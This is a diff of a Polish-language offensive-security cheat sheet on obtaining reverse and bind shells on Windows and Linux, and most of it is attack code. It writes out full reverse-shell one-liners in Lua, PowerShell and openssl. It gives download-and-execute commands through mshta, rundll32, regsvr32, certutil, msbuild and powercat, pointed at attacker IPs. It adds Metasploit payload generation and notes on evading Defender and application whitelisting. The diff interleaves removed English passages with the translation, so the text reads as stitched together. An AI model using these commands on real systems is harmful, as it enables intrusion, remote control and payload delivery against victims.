- **Pętle**: W Lua można używać pętli, takich jak for i while, do iteracji przez zbiory danych lub wykonania określonych działań wielokrotnie.
|
||||
|
||||
### Przykład skryptu Lua
|
||||
|
||||
Oto przykładowy skrypt Lua, który oblicza sumę dwóch liczb:
|
||||
|
||||
```lua
|
||||
function add(a, b)
|
||||
return a + b
|
||||
end
|
||||
|
||||
num1 = 10
|
||||
num2 = 20
|
||||
|
||||
result = add(num1, num2)
|
||||
|
||||
print("Suma:", result)
|
||||
```
|
||||
|
||||
W tym przykładzie definiujemy funkcję `add`, która przyjmuje dwa argumenty `a` i `b` i zwraca ich sumę. Następnie tworzymy dwie zmienne `num1` i `num2`, przypisujemy im wartości 10 i 20, a następnie wywołujemy funkcję `add` z tymi zmiennymi jako argumentami. Wynik jest przypisywany do zmiennej `result`, a następnie jest wyświetlany na ekranie za pomocą funkcji `print`.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -248,91 +64,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
# Windows Shells
|
||||
|
||||
## Introduction
|
||||
|
||||
In the context of hacking, a shell refers to a command-line interface that allows an attacker to interact with a compromised system. In this section, we will explore various methods to obtain a shell on a Windows machine.
|
||||
|
||||
## Reverse Shells
|
||||
|
||||
A reverse shell is a technique where the compromised system connects back to the attacker's machine, allowing the attacker to execute commands remotely. There are several ways to achieve a reverse shell on a Windows system:
|
||||
|
||||
### Netcat
|
||||
|
||||
Netcat is a versatile networking utility that can be used to establish a reverse shell connection. The following command can be used to create a reverse shell using Netcat:
|
||||
|
||||
```bash
|
||||
nc -e cmd.exe <attacker_ip> <port>
|
||||
```
|
||||
|
||||
Replace `<attacker_ip>` with the IP address of the attacker's machine and `<port>` with the desired port number.
|
||||
|
||||
### PowerShell
|
||||
|
||||
PowerShell is a powerful scripting language built into Windows. It can be used to create a reverse shell connection using the following command:
|
||||
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>', <port>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
Replace `<attacker_ip>` with the IP address of the attacker's machine and `<port>` with the desired port number.
|
||||
|
||||
### Metasploit
|
||||
|
||||
Metasploit is a popular framework for developing and executing exploits. It provides a wide range of modules, including ones for creating reverse shells on Windows systems. The following command can be used to create a reverse shell using Metasploit:
|
||||
|
||||
```bash
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_reverse_tcp
|
||||
set LHOST <attacker_ip>
|
||||
set LPORT <port>
|
||||
exploit
|
||||
```
|
||||
|
||||
Replace `<attacker_ip>` with the IP address of the attacker's machine and `<port>` with the desired port number.
|
||||
|
||||
## Bind Shells
|
||||
|
||||
A bind shell is a technique where the compromised system listens for incoming connections from the attacker's machine, allowing the attacker to execute commands remotely. Here are a few methods to achieve a bind shell on a Windows system:
|
||||
|
||||
### Netcat
|
||||
|
||||
Netcat can also be used to create a bind shell connection. The following command can be used to create a bind shell using Netcat:
|
||||
|
||||
```bash
|
||||
nc -lvp <port> -e cmd.exe
|
||||
```
|
||||
|
||||
Replace `<port>` with the desired port number.
|
||||
|
||||
### PowerShell
|
||||
|
||||
PowerShell can be used to create a bind shell connection using the following command:
|
||||
|
||||
```powershell
|
||||
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener([IPAddress]::Any, <port>); $listener.Start(); $client = $listener.AcceptTcpClient(); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
|
||||
```
|
||||
|
||||
Replace `<port>` with the desired port number.
|
||||
|
||||
### Metasploit
|
||||
|
||||
Metasploit can also be used to create a bind shell on a Windows system. The following command can be used with Metasploit:
|
||||
|
||||
```bash
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_bind_tcp
|
||||
set LHOST <attacker_ip>
|
||||
set LPORT <port>
|
||||
exploit
|
||||
```
|
||||
|
||||
Replace `<attacker_ip>` with the IP address of the attacker's machine and `<port>` with the desired port number.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Obtaining a shell on a Windows system is a crucial step in the hacking process. Reverse shells and bind shells provide attackers with remote access to compromised systems, allowing them to execute commands and further exploit the target. It is important to understand these techniques in order to defend against them effectively.
|
||||
Ofiara
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -341,45 +73,19 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
Powershell jest potężnym narzędziem do zarządzania i automatyzacji systemów Windows. Może być również wykorzystywany przez hakerów do wykonywania różnych działań na zdalnych maszynach.
|
||||
|
||||
### Uruchamianie Powershella
|
||||
|
||||
Powershell można uruchomić w systemie Windows poprzez wpisanie polecenia `powershell` w wierszu poleceń lub uruchomienie programu `powershell.exe`. Można również uruchomić Powershella w trybie administratora, aby uzyskać pełne uprawnienia.
|
||||
|
||||
### Skrypty Powershella
|
||||
|
||||
Powershell umożliwia tworzenie skryptów, które zawierają zestaw poleceń do wykonania. Skrypty Powershella mają rozszerzenie `.ps1` i mogą być uruchamiane za pomocą polecenia `powershell.exe -File <ścieżka_do_skryptu>`.
|
||||
|
||||
### Wykonywanie poleceń w Powershellu
|
||||
|
||||
W Powershellu można wykonywać różne polecenia, takie jak uruchamianie programów, manipulowanie plikami, zarządzanie usługami itp. Polecenia można wykonywać bezpośrednio w wierszu poleceń Powershella lub za pomocą skryptów.
|
||||
|
||||
### Zdalne wykonanie poleceń
|
||||
|
||||
Powershell umożliwia zdalne wykonanie poleceń na innych maszynach w sieci. Można to zrobić za pomocą polecenia `Invoke-Command`, które pozwala na uruchomienie poleceń na zdalnej maszynie.
|
||||
|
||||
### Wykorzystywanie Powershella w celach hakerskich
|
||||
|
||||
Hakerzy mogą wykorzystywać Powershella do różnych celów, takich jak zdalne uruchamianie złośliwego oprogramowania, wykonywanie ataków typu "living off the land" (wykorzystujących narzędzia systemowe), manipulowanie plikami i rejestrem, przechwytywanie danych itp.
|
||||
|
||||
### Zabezpieczenia Powershella
|
||||
|
||||
Aby zabezpieczyć system przed nadużyciem Powershella, można zastosować różne środki, takie jak ograniczenie uprawnień użytkowników, monitorowanie aktywności Powershella, stosowanie zasad grupy, blokowanie nieznanych skryptów itp.
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Proces wykonujący żądanie sieciowe: **powershell.exe**\
|
||||
Payload zapisany na dysku: **NIE** (_przynajmniej nigdzie nie znalazłem tego używając procmon!_)
|
||||
Proces wykonujący połączenie sieciowe: **powershell.exe**\
|
||||
Ładunek zapisany na dysku: **NIE** (_przynajmniej nigdzie, gdzie szukałem za pomocą procmon !_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Proces wykonujący żądanie sieciowe: **svchost.exe**\
|
||||
Dane wyjściowe zapisane na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
Proces wykonujący wywołanie sieciowe: **svchost.exe**\
|
||||
Ładunek zapisany na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
|
||||
**Jednolinijkowiec:**
|
||||
```bash
|
||||
|
@ -401,11 +107,11 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **Przykład odwróconego powłoki hta-psh (użyj hta do pobrania i uruchomienia tylnych drzwi PS)**
|
||||
#### **Przykład odwróconego powłoki hta-psh (użyj hta do pobrania i wykonania tylnych drzwi PS)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombi Koadic, używając stagera hta**
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombiaka Koadic, używając stagera hta**
|
||||
|
||||
#### Przykład hta
|
||||
|
||||
|
@ -426,7 +132,7 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
```
|
||||
#### **mshta - sct**
|
||||
|
||||
[**Stąd**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
[**Tutaj**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -443,36 +149,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</scriptlet>
|
||||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that allows you to execute HTML applications (HTAs). It can be used as a vector for delivering malicious payloads. In this section, we will explore how to use Mshta with Metasploit to gain remote access to a target system.
|
||||
|
||||
To start, we need to generate an HTA payload using Metasploit. We can do this by using the `msfvenom` command. Here is an example command to generate an HTA payload:
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker IP> LPORT=<attacker port> -f hta-psh -o payload.hta
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port you want to use for the reverse connection.
|
||||
|
||||
Once the payload is generated, we can use Mshta to execute it on the target system. We can do this by running the following command:
|
||||
|
||||
```
|
||||
mshta payload.hta
|
||||
```
|
||||
|
||||
This will open a window on the target system, executing the payload and establishing a reverse HTTPS connection to our machine.
|
||||
|
||||
To interact with the session, we can use the `sessions` command in Metasploit. For example, to interact with session 1, we can run the following command:
|
||||
|
||||
```
|
||||
sessions -i 1
|
||||
```
|
||||
|
||||
From here, we have full control over the target system and can perform various post-exploitation activities.
|
||||
|
||||
It is important to note that using Mshta with Metasploit may trigger antivirus alerts. To bypass antivirus detection, you can use techniques such as obfuscation or encryption.
|
||||
|
||||
Remember to always use these techniques responsibly and with proper authorization. Unauthorized access to computer systems is illegal and unethical.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -483,14 +159,14 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryty przez obrońcę**
|
||||
|
||||
|
||||
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Przykład DLL hello world**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Przykład Dll hello world**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
|
@ -500,11 +176,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryto przez defendera**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**Stąd**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
[**Tutaj**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -520,48 +196,12 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</scriptlet>
|
||||
```
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files. Metasploit, a popular penetration testing framework, provides a module called `exploit/windows/local/hta_print_uaf` that leverages the Rundll32 utility to execute malicious code.
|
||||
|
||||
To use this module, follow these steps:
|
||||
|
||||
1. Set the required options:
|
||||
- `SESSION`: The session to run the exploit on.
|
||||
- `DLL_PATH`: The path to the DLL file to execute.
|
||||
- `FUNCTION_NAME`: The name of the function within the DLL to execute.
|
||||
|
||||
2. Run the exploit by executing the `exploit` command.
|
||||
|
||||
Once the exploit is successful, the specified DLL file will be executed using the Rundll32 utility, allowing the execution of arbitrary code on the target system.
|
||||
|
||||
It is important to note that the Rundll32 utility can be used for both legitimate and malicious purposes. As a penetration tester, it is crucial to use this technique responsibly and with proper authorization.
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
|
||||
```
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files. Koadic is a post-exploitation tool that uses the Rundll32 utility to load a malicious DLL file and gain control over a compromised system.
|
||||
|
||||
To use Koadic, follow these steps:
|
||||
|
||||
1. Generate a malicious DLL file using Koadic's stager module.
|
||||
2. Transfer the DLL file to the target system.
|
||||
3. Use Rundll32 to execute the DLL file on the target system.
|
||||
4. Gain control over the compromised system using Koadic's implant module.
|
||||
|
||||
Here is an example of how to use Rundll32 with Koadic:
|
||||
|
||||
```plaintext
|
||||
rundll32.exe <path_to_dll_file>,<entry_point>
|
||||
```
|
||||
|
||||
Replace `<path_to_dll_file>` with the path to the malicious DLL file and `<entry_point>` with the entry point function of the DLL.
|
||||
|
||||
Keep in mind that using Rundll32 with Koadic requires prior access to the target system and the ability to transfer files to it. Additionally, it is important to take precautions to avoid detection and maintain persistence on the compromised system.
|
||||
|
||||
For more information on using Rundll32 with Koadic, refer to the Koadic documentation.
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -580,11 +220,11 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
|||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryte przez obrońcę**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Stąd**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
[**Tutaj**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -602,50 +242,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</scriptlet>
|
||||
```
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
Regsvr32 is a Windows command-line utility used to register and unregister DLL files. However, it can also be leveraged as a technique for executing malicious code on a target system. In this case, we will explore how to use Regsvr32 with Metasploit to achieve remote code execution.
|
||||
|
||||
##### **Step 1: Generate the Payload**
|
||||
|
||||
First, we need to generate a payload using Metasploit. This payload will be executed on the target system when we run Regsvr32. To generate the payload, we can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f dll > payload.dll
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port you want to use for the reverse connection.
|
||||
|
||||
##### **Step 2: Set Up the Listener**
|
||||
|
||||
Next, we need to set up a listener in Metasploit to receive the reverse connection from the target system. Open Metasploit and use the following commands:
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload windows/meterpreter/reverse_tcp
|
||||
set LHOST <attacker IP>
|
||||
set LPORT <attacker port>
|
||||
exploit
|
||||
```
|
||||
|
||||
Again, replace `<attacker IP>` and `<attacker port>` with your IP address and the port you specified in Step 1.
|
||||
|
||||
##### **Step 3: Host the Payload**
|
||||
|
||||
Now, we need to host the payload DLL file on a web server. You can use any web server of your choice to host the file.
|
||||
|
||||
##### **Step 4: Execute the Payload**
|
||||
|
||||
Finally, we can execute the payload on the target system using Regsvr32. Open a command prompt on the target system and run the following command:
|
||||
|
||||
```
|
||||
regsvr32 /s /u http://<attacker IP>/<path to payload.dll>
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with the IP address of your web server and `<path to payload.dll>` with the path to the hosted payload DLL file.
|
||||
|
||||
Once the command is executed, the payload will be downloaded from the web server and executed on the target system, establishing a reverse connection to your listener in Metasploit.
|
||||
|
||||
This technique can be useful for bypassing security controls that may block other common methods of code execution. However, it is important to note that it relies on the target system having internet access to download the payload from the web server.
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -654,7 +250,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombi Koadic, używając stagera regsvr**
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombiaka Koadic, używając stagera regsvr**
|
||||
|
||||
## Certutil
|
||||
|
||||
|
@ -664,65 +260,29 @@ Pobierz plik B64dll, zdekoduj go i uruchom.
|
|||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
Pobierz plik B64exe, zdekoduj go i wykonaj.
|
||||
Pobierz plik B64exe, zdekoduj go i uruchom.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryty przez obrońcę**
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## **Cscript/Wscript**
|
||||
```bash
|
||||
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
|
||||
```
|
||||
**Cscript - Metasploit**
|
||||
|
||||
Cscript is a command-line scripting engine provided by Microsoft. It is commonly used to execute VBScript or JScript scripts on Windows systems. Metasploit, on the other hand, is a popular penetration testing framework that includes various tools and exploits for testing the security of computer systems.
|
||||
|
||||
In the context of Metasploit, Cscript can be used as a payload to deliver malicious scripts to a target system. This can be done by creating a malicious script using Metasploit's scripting capabilities and then using Cscript to execute it on the target.
|
||||
|
||||
To use Cscript as a payload in Metasploit, you can follow these steps:
|
||||
|
||||
1. Generate a malicious script using Metasploit's scripting capabilities. This can be done using the `msfvenom` command, which allows you to generate various types of payloads.
|
||||
|
||||
2. Save the generated script to a file with a `.vbs` or `.js` extension.
|
||||
|
||||
3. Use the `exploit/multi/script/web_delivery` module in Metasploit to deliver the malicious script to the target system. This module allows you to generate a standalone script that can be executed on the target.
|
||||
|
||||
4. Set the `SRVHOST` and `SRVPORT` options in the module to specify the IP address and port on which the script will be hosted.
|
||||
|
||||
5. Start the Metasploit listener by running the `exploit` command.
|
||||
|
||||
6. Once the listener is active, execute the generated script on the target system using Cscript. This can be done by running the following command on the target:
|
||||
|
||||
```
|
||||
cscript <path_to_script>
|
||||
```
|
||||
|
||||
Replace `<path_to_script>` with the actual path to the generated script.
|
||||
|
||||
7. If everything is set up correctly, the script will be executed on the target system, and you will have a reverse shell or other desired functionality.
|
||||
|
||||
It is important to note that using Cscript as a payload requires proper authorization and should only be done in a legal and ethical manner, such as during a penetration test with proper permission.
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryte przez obrońcę**
|
||||
|
||||
## PS-Bat
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
Proces wykonujący żądanie sieciowe: **svchost.exe**\
|
||||
Dane wyjściowe zapisane na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
Proces wykonujący wywołanie sieciowe: **svchost.exe**\
|
||||
Ładunek zapisany na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -731,7 +291,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
**Wykryte przez defendera**
|
||||
**Wykryty przez obrońcę**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
|
@ -766,7 +326,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
**Nie wykryto**
|
||||
|
||||
**Możesz łatwo pobrać i uruchomić zombi Koadic, używając stagera wmic**
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombiaka Koadic, używając stagera wmic**
|
||||
|
||||
## Msbuild
|
||||
|
||||
|
@ -774,8 +334,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Możesz użyć tej techniki, aby ominąć białą listę aplikacji i ograniczenia Powershell.exe. Zostaniesz poproszony o powłokę PS.\
|
||||
Po prostu pobierz to i wykonaj: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
Możesz użyć tej techniki, aby ominąć białe listy aplikacji i ograniczenia Powershell.exe. Po prostu pobierz to i wykonaj: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
@ -787,7 +346,7 @@ Skompiluj kod C# na maszynie ofiary.
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Możesz pobrać podstawową odwróconą powłokę C# stąd: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Możesz pobrać podstawową powłokę odwrotną C# stąd: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Nie wykryto**
|
||||
|
||||
|
@ -817,15 +376,15 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
W folderze **Shells** znajduje się wiele różnych powłok. Aby pobrać i uruchomić Invoke-_PowerShellTcp.ps1_, skopiuj skrypt i dołącz go na końcu pliku:
|
||||
W folderze **Shells** znajduje się wiele różnych powłok. Aby pobrać i uruchomić Invoke-_PowerShellTcp.ps1_ zrób kopię skryptu i dołącz na końcu pliku:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
Rozpocznij udostępnianie skryptu na serwerze sieciowym i wykonaj go po stronie ofiary:
|
||||
Uruchom skrypt na serwerze sieciowym i wykonaj go po stronie ofiary:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Obrońca nie wykrywa go jako złośliwy kod (jeszcze, 3/04/2019).
|
||||
Defender nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
|
||||
|
||||
**TODO: Sprawdź inne powłoki nishang**
|
||||
|
||||
|
@ -833,15 +392,15 @@ Obrońca nie wykrywa go jako złośliwy kod (jeszcze, 3/04/2019).
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
Pobierz, uruchom serwer WWW, uruchom nasłuchiwanie i wykonaj to na końcu ofiary:
|
||||
Pobierz, uruchom serwer sieciowy, uruchom nasłuchiwanie i wykonaj to na końcu ofiary:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Obecnie Defender nie wykrywa tego jako złośliwy kod (jeszcze, 3/04/2019).
|
||||
Defender nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
|
||||
|
||||
**Inne opcje oferowane przez powercat:**
|
||||
|
||||
Bind shell, Reverse shell (TCP, UDP, DNS), Przekierowanie portu, Wysyłanie/pobieranie plików, Generowanie payloadów, Serwowanie plików...
|
||||
Powiązane powłoki, Odwrócona powłoka (TCP, UDP, DNS), Przekierowanie portu, Przesyłanie/pobieranie, Generowanie ładunków, Obsługa plików...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -862,17 +421,17 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Utwórz uruchamialny plik powershell, zapisz go w pliku, pobierz i wykonaj go.
|
||||
Utwórz uruchamianie powershell, zapisz je w pliku, pobierz i wykonaj.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**Wykryto jako złośliwy kod**
|
||||
**Wykryty jako złośliwy kod**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Utwórz wersję powershell backdooru metasploit za pomocą unicorn
|
||||
Utwórz wersję powershell tylnej furtki metasploit przy użyciu unicorn
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
@ -880,19 +439,19 @@ Uruchom msfconsole z utworzonym zasobem:
|
|||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Uruchom serwer sieciowy, który będzie udostępniał plik _powershell\_attack.txt_, a następnie wykonaj na ofierze:
|
||||
Uruchom serwer WWW serwujący plik _powershell\_attack.txt_ i wykonaj na ofierze:
|
||||
```
|
||||
